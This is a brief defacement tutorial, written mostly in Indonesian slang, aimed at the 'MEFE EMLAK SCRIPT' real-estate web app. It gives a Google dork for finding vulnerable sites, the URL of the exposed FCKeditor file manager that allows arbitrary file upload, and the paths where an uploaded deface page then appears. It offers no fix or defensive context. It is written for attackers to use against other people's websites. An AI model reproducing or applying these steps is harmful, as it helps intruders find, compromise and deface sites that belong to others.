Tutorial Deface POC FCKEditor

Author : xSadClown
Web App.Name : MEFE EMLAK SCRIPT
Price : N/A
Version : N/A
Vulnerability Style : File Upload
Bug : File Upload
Google Keyword ( Dork ) : inurl:advert_detail.php?id=
Exploit FCKeditor Artibary File Upload :

http://Site.com/admin/FCKeditor/editor/filemanager/browser/default/browser.html?Type=File&Connector=connectors/php/connector.php

Contoh kalau sudah di exploit

 hasil defacean kita ada di

www.site.com/files ( kalo lu rename script pepesan lu jadi index.html)
www.site.com/files/namascriptlu.html ( kalo lu rename script pepesan lu bebas,contoh Cowo.html )

Tweet